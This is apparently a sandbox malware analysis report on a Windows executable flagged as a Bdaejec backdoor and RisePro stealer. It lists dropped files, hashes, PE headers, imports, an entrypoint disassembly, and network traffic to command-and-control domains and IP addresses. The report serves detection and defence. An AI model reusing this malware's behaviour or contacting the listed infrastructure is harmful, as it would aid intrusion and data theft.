Entropy (8bit):	6.36671338686422
Encrypted:	false
SSDEEP:	768:uWQ3655Kv1X/qY1MSdrGQGPL4vzZq2o9W7GsxBbPr:uHqaNrFdrdGCq2iW7z
MD5:	F48416BDA08FFA6824D4D021BE48D604
SHA1:	1F0E2EAF0EDC1E4293F51E8DD741CDB56A395906
SHA-256:	0996CBFD765BC4F3AB17A90591A437551BC96678CB28E59548A4E8355D9D0C82
SHA-512:	E3996263F01432BC29717C53D313F988A2196D0D8BA59AC1287AA1DDD56CCC0A66314E430A505971B3F2A5D7CE9A7B4650F19709CB900484010D3AEF79EE0845
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.6...X...X...X.x.R...X..V...X.x.\...X......X...Y.W.X......X.!.R...X...^...X.Rich..X.................PE..L...pN.d........../......V...@.......p.......0....@.........................................................................$9.......`...............................................................................0...............................text............................... ..`.rdata.......0......................@..@.data...X....@.......(..............@....rsrc........`.......*..............@..@.EpN.uZ..P...p...B...:.............. ...................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_vXQpuA.exe_c0ab9b32b5e72e97aab4b6e052563fe8d013f74a_f464d7f9_f51f480b-55ae-40e3-900a-fc3318971448\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9103403648235437
Encrypted:	false
SSDEEP:	96:jpF6Rzbr9sOhn07afzQXIDcQpc6dcE3cw3iW+HbHg/5ksS/YyNlIcIPkShH+DOyI:VA1br9C0nZ9mHjE/nzuiFVZ24IO8Je
MD5:	3255A232802366A7D926720164A16B3E
SHA1:	F05E75718F89565342600467BEC2235CF12B7A90
SHA-256:	9201179333DE6F9414D1C2A93A3F4AE204FBF7028B79D3A99A349E7F9B56669B
SHA-512:	4F0573B65D034E5C41AA783F7A6669762FA01A1A853B3AA4268D4B3CD4B4EFE436C58B8AF610A5AB1EA1972D015C638E2D96A7CEDC9BC4FFC777ACF6EE308AF5
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.3.0.8.4.1.5.1.4.8.3.1.6.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.3.0.8.4.1.5.6.0.1.4.3.0.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.5.1.f.4.8.0.b.-.5.5.a.e.-.4.0.e.3.-.9.0.0.a.-.f.c.3.3.1.8.9.7.1.4.4.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.0.f.9.4.3.f.2.-.a.3.f.6.-.4.c.3.f.-.b.a.9.c.-.6.6.f.3.d.a.1.4.9.c.0.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.v.X.Q.p.u.A...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.3.c.8.-.0.0.0.1.-.0.0.1.4.-.5.c.d.e.-.5.8.e.7.d.d.d.d.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.f.6.f.d.3.d.f.1.6.f.b.5.1.5.f.6.d.5.6.4.5.1.c.3.1.1.9.2.6.2.5.0.0.0.0.f.f.f.f.!.0.0.0.0.d.4.e.9.e.f.1.0.d.7.6.8.5.d.4.9.1.5.8.3.c.6.f.a.9.3.a.e.5.d.9.1.0.5.d.8.1.5.b.d.!.v.X.Q.p.u.A...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.1.3.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAC2A.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed Jul 24 15:26:55 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	147708
Entropy (8bit):	1.6876662396078015
Encrypted:	false
SSDEEP:	384:1Oj+OlfBowTzKFFd9G/A9Kt1bOEd8RFNKzS71CjMbVTpynAVQh:1krfBowT1I4zlqFqS71CjMbVTpynC
MD5:	1C7A7981C47E63DFCC423BC9585FB26A
SHA1:	16009A071D566ECE7222352DB6C575CE319CB725
SHA-256:	F9B2A57213BCE85C36B3481BB12FEA6EA034E358B6ACCB313559E3068E4582D6
SHA-512:	CA59C02F05B1F133AAE63E139E157C70CACAE55F3B87B620B0ADE65FBCB2FDCD226C39723DAE087C7344B39A6DD0AB174BE526A4EAD88E5E3E37816F73E22DE3
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......?..f............D...............L...........ZH..........T.......8...........T............5..T...........L...........8...............................................................................eJ..............GenuineIntel............T...........9..f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAD35.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8370
Entropy (8bit):	3.704133213465768
Encrypted:	false
SSDEEP:	192:R6l7wVeJla6uG6YjJ6WgmfmJd7pDG89b/Isf61m:R6lXJ46H6YN6WgmfmzB/7fR
MD5:	15E09E59A12BA72BBEB5DA58E752DD63
SHA1:	D6D7405DF224EA6D462AE7210C90442F0FCBDD4C
SHA-256:	BCC7FEB1A666DA1AC1E823A4F507BCBAF5FB31D55BBD1815E048BA2F09605E1B
SHA-512:	5F6C09B539FE18D70858A8C9B075A96637AAED14A6C435FA8E36F9F834422BB50ACA51177672B5FB1D694831AC1E3D59D1A5CA565E6588B3423365CB0EA4972D
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.0.6.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAD55.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4551
Entropy (8bit):	4.45225027094147
Encrypted:	false
SSDEEP:	48:cvIwWl8zsKiJg77aI9f8WpW8VYnHYm8M4JASFY+q8uMNWTpg65d:uIjfjI7Z17VQaJmVTpg65d
MD5:	DC9054E1EBE5DC9BA7901543135A5AD1
SHA1:	6544A323CB37BD9ECC39E84FF183E3B0744C6B10
SHA-256:	8619154F69CCC632CB1D3B0192F00AEDA0E083A8F2BEE101ECEF5024C91C0C6C
SHA-512:	F7E9DD104307B5CF22098068B8C74B8BFCD990CA26DA676D79267ABBF66F690803675CC186B0F0FD98B19F274996F400715609776C1D4A4C1F9A0E5039A88018
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="425189" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Temp\vXQpuA.exe

Download File

Process:	C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15872
Entropy (8bit):	7.031075575407894
Encrypted:	false
SSDEEP:	384:IXZQaD7U8iu4YsAa7ZA0UvH2lsRv21yW7GbAxur6+Y9PffPz:gQGPL4vzZq2o9W7GsxBbPr
MD5:	F7D21DE5C4E81341ECCD280C11DDCC9A
SHA1:	D4E9EF10D7685D491583C6FA93AE5D9105D815BD
SHA-256:	4485DF22C627FA0BB899D79AA6FF29BC5BE1DBC3CAA2B7A490809338D54B7794
SHA-512:	E4553B86B083996038BACFB979AD0B86F578F95185D8EFAC34A77F6CC73E491D4F70E1449BBC9EB1D62F430800C1574101B270E1CB0EEED43A83049A79B636A3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Joe Sandbox View:	Filename: 5A1FB27924AB99541F08D3A46321B88FA4CE52A2346EBD92DC8DA423C907CDE3.exe, Detection: malicious, Browse Filename: 5AECB2A5BC5447DC736C29882193FEF4F2B007299A1817C664E1BA6A028363CF.exe, Detection: malicious, Browse Filename: 58BB54DE7A3ED504F85202B0CD55AC2DA9FC821B5695AA854703F885CD80B044.exe, Detection: malicious, Browse Filename: 5673773206126F12F4692E91C084B927357D9CF5FA3D5C312D89C9942B5C90FE.exe, Detection: malicious, Browse Filename: 56586BDA88E32BE6A2AE5BA59A06127DC382CA0D5619DFDFE0DD0353EE4877AB.exe, Detection: malicious, Browse Filename: 54E3EE54FAC434E25C03DED56A4680F1EA40A245D657440AC9C51BE7F27EF656.exe, Detection: malicious, Browse Filename: 55282E8B63997F62AF3DD4B9D40CACB30A72D8DB1597D3F53057839CF7335750.exe, Detection: malicious, Browse Filename: 550F.exe, Detection: malicious, Browse Filename: 4FE08CC381F8F4EA6E3D8E34FDDF094193CCBBCC1CAE7217F0233893B9C566A2.exe, Detection: malicious, Browse Filename: 537C7A26CE5E39643B98D9C078A14D5E955F0FCCF49073D05B1F8E3294636B41.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........I.>.'..'.>.'..\.2.'.#.(.?.'.>.&.y.'.Q.#.=.'..).?.'.7...6.'.7...?.'.Rich>.'.................PE..L...JG.R.............................`.......0....@.......................................@..................................p...............................o.......................................................................................text.... ..........................`....rdata.......0......................@....data........@......................@....reloc.......P.......(..............@....aspack.. ...`.......,..............`....adata...............>..............@...................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421552723020453
Encrypted:	false
SSDEEP:	6144:PSvfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnN00uhiTw:avloTMW+EZMM6DFyy03w
MD5:	F9084DEA8AB3B72D9909BE1FE750CD2F
SHA1:	9F99B1868C7A8316596B46857641EF01786C6E36
SHA-256:	123A1F3FA172C05ADCB0220BA085C3033F22FF237C7330CB0D5B9A5255FE7B92
SHA-512:	6D9D67B4F390DDC43529DC46F47F91D3FD337FE26E9CA9DE75EA018944C8E5FB16D3F1A001EDE6739912679A17EB1AD07582741C0D086756F6A0835635992EAC
Malicious:	false
Reputation:	low
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..d...................................................................................................................................................................................................................................................................................................................................................r.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.400989577134585
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe
File size:	411'648 bytes
MD5:	5ae2c7e495880d7e209a41158fd72984
SHA1:	f2bd4549f77a5c6af49259b60caf937b31decbf0
SHA256:	9664f55603f168dc5f7ac498789f5275b2c64fb5ad1bc7c185944421bd5a8777
SHA512:	16364431e2d8b0e48189f571b1b713da08129ea3b00d18723d981b7ace39b9d1cd7b55d4a48ea53bb8e7940f0c76ef70b5614a5a8d08bdb73827539e4cc7d5cf
SSDEEP:	12288:MZFjgB8S7dgKfFTJnUxzJQK2LM0r04JduPK1LOE/BE:M3jgCS7BFnUbR60wLLOSi
TLSH:	43946B34E601F026F4E20035EC5ED7FA65286B30275498EFF3D54EA9AAB16D1E230B57
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[xtt...'...'...'.r.&...'.r.&...'.v.&...'.v.&...'.v.&5..'.r.&...'.r.&...'...'c..'.v.&...'.v.'...'.v.&...'Rich...'........PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x464000
Entrypoint Section:	ku
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x623EAAFA [Sat Mar 26 05:56:10 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	9734ba8626408cec04bb8fa7d8bb6e83

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 0000016Ch
xor eax, eax
push ebx
push esi
push edi
mov dword ptr [ebp-24h], eax
mov dword ptr [ebp-10h], eax
mov dword ptr [ebp-14h], eax
mov dword ptr [ebp-08h], eax
mov dword ptr [ebp-0Ch], eax
mov dword ptr [ebp-20h], eax
mov dword ptr [ebp-18h], eax
mov dword ptr [ebp-48h], 70515876h
mov dword ptr [ebp-44h], 652E4175h
mov dword ptr [ebp-40h], 00006578h
mov dword ptr [ebp-3Ch], 00000000h
call 00007EFCFCEB5D75h
pop eax
add eax, 00000225h
mov dword ptr [ebp-04h], eax
mov eax, dword ptr fs:[00000030h]
mov dword ptr [ebp-28h], eax
mov eax, dword ptr [ebp-04h]
mov dword ptr [eax], E904C483h
mov eax, dword ptr [ebp-04h]
mov dword ptr [eax+04h], FFFD57E4h
mov eax, dword ptr [ebp-28h]
mov eax, dword ptr [eax+0Ch]
mov eax, dword ptr [eax+1Ch]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax+08h]
mov ecx, dword ptr [eax+3Ch]
mov ecx, dword ptr [ecx+eax+78h]
add ecx, eax
mov edi, dword ptr [ecx+1Ch]
mov ebx, dword ptr [ecx+20h]
mov esi, dword ptr [ecx+24h]
mov ecx, dword ptr [ecx+18h]
add esi, eax
add edi, eax
add ebx, eax
xor edx, edx
mov dword ptr [ebp-30h], esi
mov dword ptr [ebp-1Ch], edx
mov dword ptr [ebp-34h], ecx
cmp edx, dword ptr [ebp-34h]
jnc 00007EFCFCEB5EBEh
movzx ecx, word ptr [esi+edx*2]
mov edx, dword ptr [ebx+edx*4]
mov esi, dword ptr [edi+ecx*4]
add edx, eax
mov ecx, dword ptr [edx]
add esi, eax
cmp ecx, 4D746547h
jne 00007EFCFCEB5DC4h
cmp dword ptr [edx+04h], 6C75646Fh
jne 00007EFCFCEB5DBBh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5d348	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x60000	0x1e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x61000	0x2584	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x5a620	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x5a658	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x53000	0x1bc	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x51e2f	0x52000	1194472e2597aa2b13244e79144d4bce	False	0.4684939500762195	data	6.289312713354304	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x53000	0xad56	0xae00	5f1fb1910534a3337bd13bc47de54e80	False	0.4108072916666667	data	5.0095148798074804	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x5e000	0x17ec	0xc00	41c953f6fa233668d764d083f279d54f	False	0.189453125	data	2.8141571695432828	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x60000	0x1e8	0x200	17468f9d018731f1fbdeb298bbd3cd73	False	0.5390625	data	4.756146432197578	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x61000	0x2584	0x2600	e29e1f7c8bb4987b63b6921906d4431e	False	0.7485608552631579	data	6.562239697735675	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
ku	0x64000	0x5000	0x4200	7dcacc3fac3b8a0c73928c715c8e9b38	False	0.7775213068181818	data	6.934525403554348	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x60060	0x188	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5892857142857143

Imports

DLL	Import
KERNEL32.dll	CreateDirectoryA, IsWow64Process, lstrcatA, GetModuleHandleA, lstrcpyA, WinExec, lstrlenA, HeapAlloc, GetProcAddress, lstrcpynA, GetProcessHeap, WriteConsoleW, LocalFree, GetWindowsDirectoryA, CloseHandle, DeleteFileA, LoadLibraryA, GetFileAttributesA, GetLastError, CopyFileA, Sleep, LocalAlloc, GetVolumeInformationA, GetCurrentProcess, HeapFree, GetModuleFileNameA, SetEndOfFile, HeapReAlloc, HeapSize, ReadConsoleW, ReadFile, FlushFileBuffers, CreateFileW, GetStringTypeW, SetStdHandle, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwind, RaiseException, SetLastError, EncodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, ExitProcess, GetModuleHandleExW, GetModuleFileNameW, GetStdHandle, WriteFile, MultiByteToWideChar, LCMapStringW, MoveFileExW, GetFileType, GetConsoleOutputCP, GetConsoleMode, GetFileSizeEx, SetFilePointerEx, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, DecodePointer
ADVAPI32.dll	CreateServiceA, RegCloseKey, StartServiceCtrlDispatcherA, GetCurrentHwProfileA, CloseServiceHandle, RegQueryValueExA, SetServiceStatus, RegisterServiceCtrlHandlerA, OpenSCManagerA, GetUserNameA, StartServiceA, RegOpenKeyExA, OpenServiceA
SHELL32.dll	SHGetSpecialFolderPathA, SHGetFolderPathA, ShellExecuteA
SETUPAPI.dll	SetupDiGetClassDevsA, SetupDiEnumDeviceInterfaces, SetupDiGetDeviceInterfaceDetailA, SetupDiEnumDeviceInfo

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-24T17:26:53.131145+0200	UDP	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	60858	53	192.168.2.5	1.1.1.1
2024-07-24T17:26:51.124380+0200	UDP	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	60858	53	192.168.2.5	1.1.1.1
2024-07-24T17:26:52.119126+0200	UDP	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	60858	53	192.168.2.5	1.1.1.1
2024-07-24T17:27:38.899025+0200	UDP	2043080	ET MALWARE Observed DNS Query to RisePro Domain (softs-portal .com)	52169	53	192.168.2.5	1.1.1.1

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 24, 2024 17:26:51.177038908 CEST	49704	443	192.168.2.5	149.154.167.99
Jul 24, 2024 17:26:51.177088022 CEST	443	49704	149.154.167.99	192.168.2.5
Jul 24, 2024 17:26:51.177169085 CEST	49704	443	192.168.2.5	149.154.167.99
Jul 24, 2024 17:26:51.178488970 CEST	49704	443	192.168.2.5	149.154.167.99
Jul 24, 2024 17:26:51.178507090 CEST	443	49704	149.154.167.99	192.168.2.5
Jul 24, 2024 17:26:51.941529989 CEST	443	49704	149.154.167.99	192.168.2.5
Jul 24, 2024 17:26:51.941642046 CEST	49704	443	192.168.2.5	149.154.167.99
Jul 24, 2024 17:26:51.945427895 CEST	49704	443	192.168.2.5	149.154.167.99
Jul 24, 2024 17:26:51.945451975 CEST	443	49704	149.154.167.99	192.168.2.5
Jul 24, 2024 17:26:51.945751905 CEST	443	49704	149.154.167.99	192.168.2.5
Jul 24, 2024 17:26:51.990194082 CEST	49704	443	192.168.2.5	149.154.167.99
Jul 24, 2024 17:26:52.005563974 CEST	49704	443	192.168.2.5	149.154.167.99
Jul 24, 2024 17:26:52.048520088 CEST	443	49704	149.154.167.99	192.168.2.5
Jul 24, 2024 17:26:52.438644886 CEST	443	49704	149.154.167.99	192.168.2.5
Jul 24, 2024 17:26:52.438673973 CEST	443	49704	149.154.167.99	192.168.2.5
Jul 24, 2024 17:26:52.438684940 CEST	443	49704	149.154.167.99	192.168.2.5
Jul 24, 2024 17:26:52.438761950 CEST	49704	443	192.168.2.5	149.154.167.99
Jul 24, 2024 17:26:52.438760042 CEST	443	49704	149.154.167.99	192.168.2.5
Jul 24, 2024 17:26:52.438810110 CEST	443	49704	149.154.167.99	192.168.2.5
Jul 24, 2024 17:26:52.438823938 CEST	443	49704	149.154.167.99	192.168.2.5
Jul 24, 2024 17:26:52.438841105 CEST	49704	443	192.168.2.5	149.154.167.99
Jul 24, 2024 17:26:52.438874006 CEST	49704	443	192.168.2.5	149.154.167.99
Jul 24, 2024 17:26:52.438889027 CEST	49704	443	192.168.2.5	149.154.167.99
Jul 24, 2024 17:26:52.440705061 CEST	443	49704	149.154.167.99	192.168.2.5
Jul 24, 2024 17:26:52.440771103 CEST	443	49704	149.154.167.99	192.168.2.5
Jul 24, 2024 17:26:52.440773964 CEST	49704	443	192.168.2.5	149.154.167.99
Jul 24, 2024 17:26:52.440821886 CEST	49704	443	192.168.2.5	149.154.167.99
Jul 24, 2024 17:26:52.473411083 CEST	49704	443	192.168.2.5	149.154.167.99
Jul 24, 2024 17:26:52.473434925 CEST	443	49704	149.154.167.99	192.168.2.5
Jul 24, 2024 17:26:52.473447084 CEST	49704	443	192.168.2.5	149.154.167.99
Jul 24, 2024 17:26:52.473452091 CEST	443	49704	149.154.167.99	192.168.2.5
Jul 24, 2024 17:26:52.507205963 CEST	49705	80	192.168.2.5	212.193.30.45
Jul 24, 2024 17:26:52.512545109 CEST	80	49705	212.193.30.45	192.168.2.5
Jul 24, 2024 17:26:52.512634993 CEST	49705	80	192.168.2.5	212.193.30.45
Jul 24, 2024 17:26:52.516983032 CEST	49705	80	192.168.2.5	212.193.30.45
Jul 24, 2024 17:26:52.522747993 CEST	80	49705	212.193.30.45	192.168.2.5
Jul 24, 2024 17:27:14.102498055 CEST	80	49705	212.193.30.45	192.168.2.5
Jul 24, 2024 17:27:14.102592945 CEST	49705	80	192.168.2.5	212.193.30.45
Jul 24, 2024 17:27:14.102998972 CEST	49705	80	192.168.2.5	212.193.30.45
Jul 24, 2024 17:27:14.105359077 CEST	49723	80	192.168.2.5	212.193.30.29
Jul 24, 2024 17:27:14.412169933 CEST	49705	80	192.168.2.5	212.193.30.45
Jul 24, 2024 17:27:14.527017117 CEST	80	49705	212.193.30.45	192.168.2.5
Jul 24, 2024 17:27:14.528589010 CEST	49705	80	192.168.2.5	212.193.30.45
Jul 24, 2024 17:27:14.529719114 CEST	80	49705	212.193.30.45	192.168.2.5
Jul 24, 2024 17:27:14.532546997 CEST	49705	80	192.168.2.5	212.193.30.45
Jul 24, 2024 17:27:15.021413088 CEST	49705	80	192.168.2.5	212.193.30.45
Jul 24, 2024 17:27:15.040715933 CEST	80	49705	212.193.30.45	192.168.2.5
Jul 24, 2024 17:27:15.040781975 CEST	49705	80	192.168.2.5	212.193.30.45
Jul 24, 2024 17:27:15.044125080 CEST	80	49705	212.193.30.45	192.168.2.5
Jul 24, 2024 17:27:15.044162035 CEST	80	49723	212.193.30.29	192.168.2.5
Jul 24, 2024 17:27:15.044173002 CEST	80	49705	212.193.30.45	192.168.2.5
Jul 24, 2024 17:27:15.044256926 CEST	49705	80	192.168.2.5	212.193.30.45
Jul 24, 2024 17:27:15.044450998 CEST	80	49705	212.193.30.45	192.168.2.5
Jul 24, 2024 17:27:15.044501066 CEST	49705	80	192.168.2.5	212.193.30.45
Jul 24, 2024 17:27:15.044502020 CEST	49723	80	192.168.2.5	212.193.30.29
Jul 24, 2024 17:27:15.124949932 CEST	49723	80	192.168.2.5	212.193.30.29
Jul 24, 2024 17:27:15.130400896 CEST	80	49723	212.193.30.29	192.168.2.5
Jul 24, 2024 17:27:36.494170904 CEST	80	49723	212.193.30.29	192.168.2.5
Jul 24, 2024 17:27:36.494250059 CEST	49723	80	192.168.2.5	212.193.30.29
Jul 24, 2024 17:27:36.494359016 CEST	49723	80	192.168.2.5	212.193.30.29
Jul 24, 2024 17:27:36.499195099 CEST	80	49723	212.193.30.29	192.168.2.5
Jul 24, 2024 17:27:36.504184961 CEST	49724	443	192.168.2.5	104.20.4.235
Jul 24, 2024 17:27:36.504224062 CEST	443	49724	104.20.4.235	192.168.2.5
